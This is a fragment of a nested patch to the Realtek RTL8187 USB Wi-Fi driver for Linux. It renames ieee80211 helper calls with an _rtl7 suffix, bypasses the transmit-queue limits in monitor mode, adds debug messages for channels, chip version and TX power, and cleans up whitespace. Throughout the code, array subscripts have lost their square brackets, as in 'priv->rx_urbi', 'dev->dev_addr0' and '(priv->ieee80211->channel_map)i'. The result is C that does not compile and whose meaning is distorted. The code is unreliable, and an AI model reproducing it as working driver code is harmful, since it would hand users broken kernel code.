+ 		 short morefrag, short rate)
+ {
+@@ -1352,45 +1417,47 @@
+ 	int pend ;
+ 	int status;
+ 	struct urb *tx_urb;
+-	int urb_len;	
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	int urb_len;
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ //	int rate = ieeerate2rtlrate(priv->ieee80211->rate);
+ 
+-	pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending);
+-	/* we are locked here so the two atomic_read and inc are executed without interleaves */
+-	if( pend > MAX_TX_URB){
+-		if(priority == NORM_PRIORITY)
+-			priv->stats.txnpdrop++;
+-		else
+-			priv->stats.txlpdrop++;
+-		return -1;
++	if(priv->ieee80211->iw_mode != IW_MODE_MONITOR)
++	{
++		pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending);
++		/* we are locked here so the two atomic_read and inc are executed without interleaves */
++		if( pend > MAX_TX_URB){
++			if(priority == NORM_PRIORITY)
++				priv->stats.txnpdrop++;
++			else
++				priv->stats.txlpdrop++;
++			return -1;
++		}
+ 	}
+-		
+-	
++
+ 	//tx = kmalloc((len + 4*3), GFP_ATOMIC);
+ 	urb_len = len + 4*3;
+ 	if((0 == urb_len%64)||(0 == urb_len%512)) {
+-	  urb_len += 1;	  
++	  urb_len += 1;
+ 	}
+ 	tx = kmalloc(urb_len, GFP_ATOMIC);
+ 	if(!tx) return -ENOMEM;
+-	//printk(KERN_WARNING "urb_len = %d\n", urb_len);	
++	//printk(KERN_WARNING "urb_len = %d\n", urb_len);
+ 	tx_urb = usb_alloc_urb(0,GFP_ATOMIC);
+-	
++
+ 	if(!tx_urb){
+-		
++
+ 		kfree(tx);
+ 		return -ENOMEM;
+ 	}
+-	
++
+ 	memcpy(tx+3,txbuf,len);
+ 	tx0 = 0;
+ 	tx0 |= len & 0xfff;
+ 	tx0 |= (1<<15);
+-	
++
+ //	if(priv->shortpre)
+ //		tx0 |= (1<<16);
+-	
++
+ 	//if(len > priv->rts_threshold){
+ //		tx0 |= (1<<23); //ENABLE RTS
+ //		tx0 |= (1<<18); //ENABLE CTS
+@@ -1399,18 +1466,18 @@
+ 	tx0 |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */
+ 	tx0 |= (rate << 24);
+ 	tx1 = 0;
+-	
++
+ //	duration = rtl8180_len2duration(len,
+-//		rate,&ext);	
++//		rate,&ext);
+ //	tx1 |= (duration & 0x7fff) <<16;
+ //	if(ext) tx1 |= (1<<31);
+ 
+-	
++
+ //	tx2 = 0x303020;
+ 	tx2 = 3;  // CW min
+ 	tx2 |= (7<<4); //CW max
+ 	tx2 |= (11<<8);//(priv->retry_data<<8); //retry lim
+-	
++
+ //	printk("%x\n%x\n",tx0,tx1);
+ 
+ 	#ifdef DUMP_TX
+@@ -1421,71 +1488,77 @@
+ 	printk("---------------\n");
+ 	#endif
+ 
+-	
++
+ 	/* FIXME check what EP is for low/norm PRI */
+ 	usb_fill_bulk_urb(tx_urb,priv->udev,
+ 		usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx,
+ 			urb_len, (priority == LOW_PRIORITY)?rtl8187_lptx_isr:rtl8187_nptx_isr, dev);
+ 	status = usb_submit_urb(tx_urb, GFP_ATOMIC);
+ 	if (!status){
+-		atomic_inc((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending);
++		if(priv->ieee80211->iw_mode != IW_MODE_MONITOR)
++		{
++			atomic_inc((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending);
++		}
+ 		return 0;
+ 	}else{
+-		DMESGE("Error TX URB %d, error %d",
+-			atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending),
+-			status);
++		if(priv->ieee80211->iw_mode != IW_MODE_MONITOR)
++		{
++			DMESGE("Error TX URB %d, error %d",
++				atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending),
++				status);
++		}
+ 		return -1;
+ 	}
+ }
+ 
+- 
++
+ 
+ void rtl8180_irq_rx_tasklet(struct r8180_priv * priv);
+ 
+ 
+ short rtl8187_usb_initendpoints(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	int i;
+-	
++
+ 	priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL);
+-	
++
+ 	for(i=0;i<MAX_RX_URB;i++){
+ 		priv->rx_urbi = usb_alloc_urb(0,GFP_KERNEL);
+-		if(!priv->rx_urbi) 
++		if(!priv->rx_urbi)
+ 			goto destroy;
+-		
++
+ 		priv->rx_urbi->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL);
+-		if(!priv->rx_urbi->transfer_buffer) 
++		if(!priv->rx_urbi->transfer_buffer)
+ 			goto destroy1;
+-			
++
+ 		priv->rx_urbi->transfer_buffer_length = RX_URB_SIZE;
+ 	}
+-	
++
+ 	return 0;
+-	
++
+ destroy1:
+ 	usb_free_urb(priv->rx_urbi);
+-	
++
+ destroy:
+ 	while (--i >= 0){
+ 		kfree(priv->rx_urbi->transfer_buffer);
+ 		usb_free_urb(priv->rx_urbi);
+ 	}
+-	
++
+ 	kfree(priv->rx_urb);
+-	
++
+ 	priv->rx_urb = NULL;
+ 	DMESGE("Endpoint Alloc Failure");
+ 	return -ENOMEM;
+-		
++
+ }
+ 
+ void rtl8187_usb_deleteendpoints(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	int i;
+-	
++
+ 	if(priv->rx_urb){
+ 		for(i=0;i<MAX_RX_URB;i++){
+ 			usb_kill_urb(priv->rx_urbi);
+@@ -1494,9 +1567,9 @@
+ 		}
+ 		kfree(priv->rx_urb);
+ 		priv->rx_urb = NULL;
+-		
++
+ 	}
+-	
++
+ }
+ 
+ 
+@@ -1505,16 +1578,16 @@
+ 	int i;
+ 	u16 word;
+ 	int basic_rate,min_rr_rate,max_rr_rate;
+-	
+-//	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
+-	//if (ieee80211_is_54g(priv->ieee80211->current_network) && 
++
++//	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
++	//if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) &&
+ //		priv->ieee80211->state == IEEE80211_LINKED){
+ 	basic_rate = ieeerate2rtlrate(240);
+ 	min_rr_rate = ieeerate2rtlrate(60);
+ 	max_rr_rate = ieeerate2rtlrate(240);
+-	
+-//	
++
++//
+ //	}else{
+ //		basic_rate = ieeerate2rtlrate(20);
+ //		min_rr_rate = ieeerate2rtlrate(10);
+@@ -1526,21 +1599,21 @@
+ 
+ 	word  = read_nic_word(dev, BRSR);
+ 	word &= ~BRSR_MBR_8185;
+-		
++
+ 
+ 	for(i=0;i<=basic_rate;i++)
+ 		word |= (1<<i);
+ 
+ 	write_nic_word(dev, BRSR, word);
+-	//DMESG("RR:%x BRSR: %x", read_nic_byte(dev,RESP_RATE), read_nic_word(dev,BRSR));
++	DMESG("RR:%x BRSR: %x", read_nic_byte(dev,RESP_RATE), read_nic_word(dev,BRSR));
+ }
+ 
+ 
+ void rtl8187_link_change(struct net_device *dev)
+ {
+ //	int i;
+-	
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	//write_nic_word(dev, BintrItv, net->beacon_interval);
+ 	rtl8187_net_update(dev);
+ 	/*update timing params*/
+@@ -1553,24 +1626,24 @@
+ 
+ short rtl8180_init(struct net_device *dev)
+ {
+-		
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	int i, j;
+ 	u16 word;
+-	int ch;
++	int ch, chans;
+ 	//u16 version;
+-	//u8 hw_version;
+-	//u8 config3;
+-	
++	u8 hw_version;
++	u8 config3;
++
+ 	//FIXME: these constants are placed in a bad pleace.
+ 
+ //	priv->txbuffsize = 1024;
+ //	priv->txringcount = 32;
+ //	priv->rxbuffersize = 1024;
+-//	priv->rxringcount = 32; 
++//	priv->rxringcount = 32;
+ //	priv->txbeaconcount = 3;
+ //	priv->rx_skb_complete = 1;
+-	//priv->txnp_pending.ispending=0; 
++	//priv->txnp_pending.ispending=0;
+ 	/* ^^ the SKB does not containt a partial RXed
+ 	 * packet (is empty)
+ 	 */
+@@ -1580,15 +1653,24 @@
+ 		return -1;
+ 	}
+ 	ch=channels;
++	chans=0;
++	for (i=1; i<=14; i++) {
++		if( (u8)(ch & 0x01) ) chans++;
++		ch >>= 1;
++	}
++	DMESG("Enabling %d channels.", chans);
++	ch=channels;
+ 	 // set channels 1..14 allowed in given locale
+ 	for (i=1; i<=14; i++) {
+ 		(priv->ieee80211->channel_map)i = (u8)(ch & 0x01);
+ 		ch >>= 1;
+ 	}
+ 	//memcpy(priv->stats,0,sizeof(struct Stats));
+-	
++
+ 	//priv->irq_enabled=0;
+-	
++
++	priv->dev = dev;
++
+ //	priv->stats.rxdmafail=0;
+ 	priv->stats.txrdu=0;
+ //	priv->stats.rxrdu=0;
+@@ -1612,33 +1694,37 @@
+ //	priv->stats.txbeaconerr=0;
+ 	priv->stats.txlperr=0;
+ 	priv->stats.txlpokint=0;
+-	
++
+ 	priv->ieee80211->iw_mode = IW_MODE_INFRA;
+-	
++
+ 	priv->retry_rts = DEFAULT_RETRY_RTS;
+ 	priv->retry_data = DEFAULT_RETRY_DATA;
+ 	priv->ieee80211->rate = 110; //11 mbps
+ 	priv->ieee80211->short_slot = 1;
+-	priv->ieee80211->mode = IEEE_G;
++	priv->ieee80211->mode = IEEE_G|IEEE_B;
+ 	priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0;
+ 	spin_lock_init(&priv->tx_lock);
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20)
+ 	INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev);
++#else
++	INIT_WORK(&priv->reset_wq, rtl8180_restart);
++#endif
+ 	sema_init(&priv->wx_sem,1);
+ 	tasklet_init(&priv->irq_rx_tasklet,
+ 		     (void(*)(unsigned long))rtl8180_irq_rx_tasklet,
+ 		     (unsigned long)priv);
+ 
+-	//priv->ieee80211->func = 
++	//priv->ieee80211->func =
+ 	//	kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL);
+ 	//memset(priv->ieee80211->func, 0,
+ 	  //     sizeof(struct ieee80211_helper_functions));
+-	priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL;	
++	priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL;
+ 	priv->ieee80211->iw_mode = IW_MODE_INFRA;
+-	priv->ieee80211->softmac_features  = IEEE_SOFTMAC_SCAN | 
+-		IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | 
++	priv->ieee80211->softmac_features  = IEEE_SOFTMAC_SCAN |
++		IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ |
+ 		IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE |
+ 		/*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE;
+-	
++
+ 	priv->ieee80211->active_scan = 1;
+ 	priv->ieee80211->rate = 110; //11 mbps
+ 	priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION;
+@@ -1655,51 +1741,51 @@
+ 	priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume;
+ 	//priv->ieee80211->start_send_beacons = NULL;
+ 	//priv->ieee80211->stop_send_beacons = NULL;
+-	
++
+ 	priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD;
+-	
++
+ 	priv->card_8185 = 2;
+ 	priv->phy_ver = 2;
+ 	priv->card_type = USB;
+-	
++
+ 	#if 0
+ 	hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT;
+-	
++
+ 	switch (hw_version){
+ 		case HW_VERID_R8185_ABC:
+-			DMESG("MAC controller is a RTL8185 b/g");	
++			DMESG("MAC controller is a RTL8185 b/g");
+ 			priv->card_8185 = 1;
+ 			/* you should not find a card with 8225 PHY ver < C*/
+ 			priv->phy_ver = 2;
+ 			break;
+-			 
++
+ 		case HW_VERID_R8185_D:
+-			DMESG("MAC controller is a RTL8185 b/g (V. D)");	
++			DMESG("MAC controller is a RTL8185 b/g (V. D)");
+ 			priv->card_8185 = 2;
+ 			/* you should not find a card with 8225 PHY ver < C*/
+ 			priv->phy_ver = 2;
+ 			break;
+-			
++
+ 		case HW_VERID_R8180_ABCD:
+ 			DMESG("MAC controller is a RTL8180");
+ 			priv->card_8185 = 0;
+ 			break;
+-		
++
+ 		case HW_VERID_R8180_F:
+ 			DMESG("MAC controller is a RTL8180 (v. F)");
+ 			priv->card_8185 = 0;
+ 			break;
+-		
++
+ 		default:
+ 			DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version);
+ 			priv->card_8185 = 0;
+ 			break;
+ 	}
+-	
+-	
++
++
+ 	/* you should not found any 8185 Ver B Card */
+ 	priv->card_8185_Bversion = 0;
+-	
++
+ 	config3 = read_nic_byte(dev, CONFIG3);
+ 	if(config3 & 0x8){
+ 		priv->card_type = CARDBUS;
+@@ -1715,13 +1801,19 @@
+ 	#endif
+ 	priv->enable_gpio0 = 0;
+ 
+-	
++
++	hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT;
++	config3 = read_nic_byte(dev, CONFIG3);
++
++	DMESG("MAC chip version: %02X", hw_version);
++	DMESG("Card type: %02X", config3);
++
+ 	/* commented out just because we already do
+ 	   this when resetting the card
+ 	   andrea 20050924
+ 	 */
+ 	#if 0
+-		
++
+ 	u8 txcr, txreg50;
+ 	u32 txreg54, txreg60;
+ 
+@@ -1757,8 +1849,8 @@
+        // DMESG("<<txcr:%x>>", txcr);
+ 
+ #endif
+-	
+-	/*the eeprom type is stored in RCR register bit #6 */ 
++
++	/*the eeprom type is stored in RCR register bit #6 */
+ 	if (RCR_9356SEL & read_nic_dword(dev, RCR)){
+ 		priv->epromtype=EPROM_93c56;
+ 		DMESG("Reported EEPROM chip is a 93c56 (2Kbit)");
+@@ -1766,58 +1858,73 @@
+ 		priv->epromtype=EPROM_93c46;
+ 		DMESG("Reported EEPROM chip is a 93c46 (1Kbit)");
+ 	}
+-	
++
+ 	dev->get_stats = rtl8180_stats;
+-	
++
+ 	dev->dev_addr0=eprom_read(dev,MAC_ADR) & 0xff;
+ 	dev->dev_addr1=(eprom_read(dev,MAC_ADR) & 0xff00)>>8;
+ 	dev->dev_addr2=eprom_read(dev,MAC_ADR+1) & 0xff;
+ 	dev->dev_addr3=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8;
+ 	dev->dev_addr4=eprom_read(dev,MAC_ADR+2) & 0xff;
+ 	dev->dev_addr5=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8;
+-	
++
+ 	DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr));
+-		
++
+ 	for(i=1,j=0; i<6; i+=2,j++){
+-		
++
+ 		word = eprom_read(dev,EPROM_TXPW0 + j);
+ 		priv->chtxpwri=word & 0xf;
+ 		priv->chtxpwr_ofdmi=(word & 0xf0)>>4;
+ 		priv->chtxpwri+1=(word & 0xf00)>>8;
+ 		priv->chtxpwr_ofdmi+1=(word & 0xf000)>>12;
+ 	}
+-	
++
+ 	for(i=1,j=0; i<4; i+=2,j++){
+-			
++
+ 		word = eprom_read(dev,EPROM_TXPW1 + j);
+ 		priv->chtxpwri+6=word & 0xf;
+ 		priv->chtxpwr_ofdmi+6=(word & 0xf0)>>4;
+ 		priv->chtxpwri+6+1=(word & 0xf00)>>8;
+ 		priv->chtxpwr_ofdmi+6+1=(word & 0xf000)>>12;
+ 	}
+-	
++
+ 	for(i=1,j=0; i<4; i+=2,j++){
+-			
++
+ 		word = eprom_read(dev,EPROM_TXPW2 + j);
+ 		priv->chtxpwri+6+4=word & 0xf;
+ 		priv->chtxpwr_ofdmi+6+4=(word & 0xf0)>>4;
+ 		priv->chtxpwri+6+4+1=(word & 0xf00)>>8;
+ 		priv->chtxpwr_ofdmi+6+4+1=(word & 0xf000)>>12;
+ 	}
+-	
+-		
++
++
+ 	priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID);
+-	
++
++#ifdef DEBUG_TX_POWER
++	dump_tx_power(dev);
++#endif
++
++	DMESG("RF Chip ID: %02X", priv->rf_chip);
++
+ 	word = eprom_read(dev,EPROM_TXPW_BASE);
+ 	priv->cck_txpwr_base = word & 0xf;
+ 	priv->ofdm_txpwr_base = (word>>4) & 0xf;
+-	
++
++	priv->txpwr_max = 0;
++	for(i=1; i<15; i++)
++	{
++		if(priv->chtxpwri > priv->txpwr_max) priv->txpwr_max = priv->chtxpwri;
++		if(priv->chtxpwr_ofdmi > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdmi;
++		priv->chtxpwr_origi = priv->chtxpwri;
++		priv->chtxpwr_ofdm_origi = priv->chtxpwr_ofdmi;
++	}
++
+ 	/* check RF frontend chipset */
+-	
++
+ 	switch (priv->rf_chip) {
+-		
++
+ 		case EPROM_RFCHIPID_RTL8225U:
+-		
++
+ 		DMESG("Card reports RF frontend Realtek 8225");
+ 		DMESGW("This driver has EXPERIMENTAL support for this chipset.");
+ 		DMESGW("use it with care and at your own risk and");
+@@ -1834,28 +1941,28 @@
+ 			DMESG("This seems a legacy 1st version radio");
+ 		}
+ 		priv->rf_close = rtl8225_rf_close;
+-		
++
+ 		priv->max_sens = RTL8225_RF_MAX_SENS;
+ 		priv->sens = RTL8225_RF_DEF_SENS;
+ 		break;
+-				
++
+ 		default:
+ 		DMESGW("Unknown RF module %x",priv->rf_chip);
+ 		DMESGW("Exiting...");
+ 		return -1;
+-		
++
+ 	}
+-	
++
+ //	DMESG("Energy threshold: %x",priv->cs_treshold);
+ 	DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7);
+ 	//DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2));
+-	
+-	if(rtl8187_usb_initendpoints(dev)!=0){ 
++
++	if(rtl8187_usb_initendpoints(dev)!=0){
+ 		DMESG("Endopoints initialization failed");
+ 		return -ENOMEM;
+ 	}
+-#if 0		
+-	if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) 
++#if 0
++	if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount))
+ 		return -ENOMEM;
+ 
+ 	if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount,
+@@ -1869,16 +1976,16 @@
+ 	if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount,
+ 				  TX_LOWPRIORITY_RING_ADDR))
+ 		return -ENOMEM;
+-	
+-	
++
++
+ 	if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount))
+ 		return -ENOMEM;
+ #endif
+-	
++
+ 
+ #ifdef DEBUG_EPROM
+ 	dump_eprom(dev);
+-#endif 
++#endif
+ 	return 0;
+ 
+ }
+@@ -1898,7 +2005,7 @@
+ 	rtl8180_set_mode(dev, EPROM_CMD_CONFIG);
+ 
+ 	conf3 = read_nic_byte(dev, CONFIG3);
+-	write_nic_byte(dev, CONFIG3, conf3 | (1<<CONFIG3_ANAPARAM_W_SHIFT));	
++	write_nic_byte(dev, CONFIG3, conf3 | (1<<CONFIG3_ANAPARAM_W_SHIFT));
+ 
+ 	write_nic_dword(dev, ANAPARAM2, a);
+ 
+@@ -1918,23 +2025,23 @@
+ 
+ 	conf3 = read_nic_byte(dev, CONFIG3);
+ 	write_nic_byte(dev, CONFIG3, conf3 | (1<<CONFIG3_ANAPARAM_W_SHIFT));
+-	
++
+ 	write_nic_dword(dev, ANAPARAM, a);
+ 
+ 	conf3 = read_nic_byte(dev, CONFIG3);
+ 	write_nic_byte(dev, CONFIG3, conf3 &~(1<<CONFIG3_ANAPARAM_W_SHIFT));
+ 
+ 	rtl8180_set_mode(dev, EPROM_CMD_NORMAL);
+-	
++
+ }
+ 
+ 
+ void rtl8185_tx_antenna(struct net_device *dev, u8 ant)
+ {
+-	write_nic_byte(dev, TX_ANTENNA, ant); 
++	write_nic_byte(dev, TX_ANTENNA, ant);
+ 	force_pci_posting(dev);
+ 	mdelay(1);
+-}	
++}
+ 
+ 
+ void rtl8187_write_phy(struct net_device *dev, u8 adr, u32 data)
+@@ -1942,26 +2049,26 @@
+ 	//u8 phyr;
+ 	u32 phyw;
+ //	int i;
+-	
++
+ 	adr |= 0x80;
+-	 
++
+ 	phyw= ((data<<8) | adr);
+-	
+-	
+-	
+-	// Note that, we must write 0xff7c after 0x7d-0x7f to write BB register. 
++
++
++
++	// Note that, we must write 0xff7c after 0x7d-0x7f to write BB register.
+ 	write_nic_byte(dev, 0x7f, ((phyw & 0xff000000) >> 24));
+ 	write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16));
+ 	write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8));
+ 	write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) ));
+ 
+ 	//read_nic_dword(dev, PHY_ADR);
+-#if 0	
++#if 0
+ 	for(i=0;i<10;i++){
+ 		write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw);
+ 		phyr = read_nic_byte(dev, PHY_READ);
+ 		if(phyr == (data&0xff)) break;
+-			
++
+ 	}
+ #endif
+ 	/* this is ok to fail when we write AGC table. check for AGC table might be
+@@ -1988,60 +2095,60 @@
+ 
+ void rtl8180_adapter_start(struct net_device *dev)
+ {
+-        struct r8180_priv *priv = ieee80211_priv(dev);
++        struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	//u32 anaparam;
+ 	//u8 config3;
+-	
++
+ 	//rtl8180_rtx_disable(dev);
+ 	rtl8180_reset(dev);
+ 
+ 	write_nic_byte(dev,0x85,0);
+ 	write_nic_byte(dev,0x91,0);
+-	
++
+ 	/* light blink! */
+ 	write_nic_byte(dev,0x85,4);
+ 	write_nic_byte(dev,0x91,1);
+ 	write_nic_byte(dev,0x90,0);
+-	
++
+ 	priv->irq_mask = 0xffff;
+ /*
+ 	priv->dma_poll_mask = 0;
+ 	priv->dma_poll_mask|= (1<<TX_DMA_STOP_BEACON_SHIFT);
+-*/	
++*/
+ //	rtl8180_beacon_tx_disable(dev);
+-	
++
+ 	rtl8180_set_mode(dev, EPROM_CMD_CONFIG);
+ 	write_nic_dword(dev, MAC0, ((u32*)dev->dev_addr)0);
+ 	write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)1 & 0xffff );
+ 
+ 	rtl8180_set_mode(dev, EPROM_CMD_NORMAL);
+ 	rtl8180_update_msr(dev);
+-		
++
+ 	rtl8180_set_mode(dev, EPROM_CMD_CONFIG);
+-	
++
+ 	write_nic_word(dev,0xf4,0xffff);
+ 	write_nic_byte(dev,
+-		       CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80);	
++		       CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80);
+ 
+ 	rtl8180_set_mode(dev,EPROM_CMD_NORMAL);
+-	
+-	write_nic_dword(dev,INT_TIMEOUT,0);	
++
++	write_nic_dword(dev,INT_TIMEOUT,0);
+ 
+ #ifdef DEBUG_REGISTERS
+-	rtl8180_dump_reg(dev);	
++	rtl8180_dump_reg(dev);
+ #endif
+-	
+-	
+-	write_nic_byte(dev, WPA_CONFIG, 0);	
++
++
++	write_nic_byte(dev, WPA_CONFIG, 0);
+ 
+ 	write_nic_byte(dev, RATE_FALLBACK, 0x81);
+ 	rtl8187_set_rate(dev);
+-		
+-	priv->rf_init(dev);	
++
++	priv->rf_init(dev);
+ 
+ 	if(priv->rf_set_sens != NULL)
+-		priv->rf_set_sens(dev,priv->sens);	
+-	
++		priv->rf_set_sens(dev,priv->sens);
++
+ 	write_nic_word(dev,0x5e,1);
+ 
+ 	#if 1
+@@ -2054,13 +2161,13 @@
+ 	write_nic_byte(dev, 0xff, 0x60);
+ 
+ 	write_nic_word(dev,0x5e,0);
+-	
+-		
++
++
+ 	rtl8180_irq_enable(dev);
+ 	/*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY));
+-	
++
+ 	DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY));
+-	
++
+ 	DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY));
+ 	if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK");
+ 	if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK");
+@@ -2077,8 +2184,8 @@
+ void rtl8180_start_tx_beacon(struct net_device *dev)
+ {
+ 	int i;
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
+-	u16 word;	
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
++	u16 word;
+ 	DMESG("Enabling beacon TX");
+ 	//write_nic_byte(dev, 0x42,0xe6);// TCR
+ 	//rtl8180_init_beacon(dev);
+@@ -2091,41 +2198,41 @@
+ 	//write_nic_word(dev,0x7a,0);
+ 	//write_nic_word(dev,0x7a,0x8000);
+ 
+-	
++
+ 	word  = read_nic_word(dev, BcnItv);
+ 	word &= ~BcnItv_BcnItv; // clear Bcn_Itv
+ 	write_nic_word(dev, BcnItv, word);
+ 
+-	write_nic_word(dev, AtimWnd, 
++	write_nic_word(dev, AtimWnd,
+ 		       read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd);
+-	
++
+ 	word  = read_nic_word(dev, BintrItv);
+ 	word &= ~BintrItv_BintrItv;
+-	
+-	//word |= priv->ieee80211->beacon_interval * 
++
++	//word |= priv->ieee80211->beacon_interval *
+ 	//	((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1);
+ 	// FIXME:FIXME check if correct ^^ worked with 0x3e8;
+-	
++
+ 	write_nic_word(dev, BintrItv, word);
+-	
++
+ 	//write_nic_word(dev,0x2e,0xe002);
+ 	//write_nic_dword(dev,0x30,0xb8c7832e);
+ 	for(i=0; i<ETH_ALEN; i++)
+ 		write_nic_byte(dev, BSSID+i, priv->ieee80211->beacon_cell_ssidi);
+-	
++
+ //	rtl8180_update_msr(dev);
+ 
+-	
++
+ 	//write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */
+-	
++
+ 	rtl8180_set_mode(dev, EPROM_CMD_NORMAL);
+-	
++
+ 	rtl8180_irq_enable(dev);
+-	
++
+ 	/* VV !!!!!!!!!! VV*/
+ 	/*
+ 	rtl8180_set_mode(dev,EPROM_CMD_CONFIG);
+-	write_nic_byte(dev,0x9d,0x00); 	
++	write_nic_byte(dev,0x9d,0x00);
+ 	rtl8180_set_mode(dev,EPROM_CMD_NORMAL);
+ */
+ }
+@@ -2135,137 +2242,138 @@
+ ***************************************************************************/
+ static struct net_device_stats *rtl8180_stats(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 	return &priv->ieee80211->stats;
+ }
+ 
+ 
+ int _rtl8180_up(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 
+ 	priv->up=1;
+-	
+-	//DMESG("Bringing up iface");
++
++// 	DMESG("Bringing up iface");
+ 
+ 	rtl8180_adapter_start(dev);
+-	
+ 	rtl8180_rx_enable(dev);
+-
+ 	rtl8180_tx_enable(dev);
+-	
+-	ieee80211_softmac_start_protocol(priv->ieee80211);
+-	
+-	ieee80211_reset_queue(priv->ieee80211);
++	ieee80211_softmac_start_protocol_rtl7(priv->ieee80211);
++	ieee80211_reset_queue_rtl7(priv->ieee80211);
+ 	if(!netif_queue_stopped(dev))
+ 		netif_start_queue(dev);
+ 	else
+ 		netif_wake_queue(dev);
+-		
+ 	return 0;
+ }
+ 
+ 
+ int rtl8180_open(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	int ret;
+-	
++
+ 	down(&priv->wx_sem);
++
+ 	ret = rtl8180_up(dev);
+ 	up(&priv->wx_sem);
+ 	return ret;
+-	
++
+ }
+ 
+ 
+ int rtl8180_up(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 
+ 	if (priv->up == 1) return -1;
+-	
++
+ 	return _rtl8180_up(dev);
+ }
+ 
+ 
+ int rtl8180_close(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	int ret;
+-	
++
+ 	down(&priv->wx_sem);
+-	
++
+ 	ret = rtl8180_down(dev);
+-	
++
+ 	up(&priv->wx_sem);
+-	
++
+ 	return ret;
+ 
+ }
+ 
+ int rtl8180_down(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 
+ 	if (priv->up == 0) return -1;
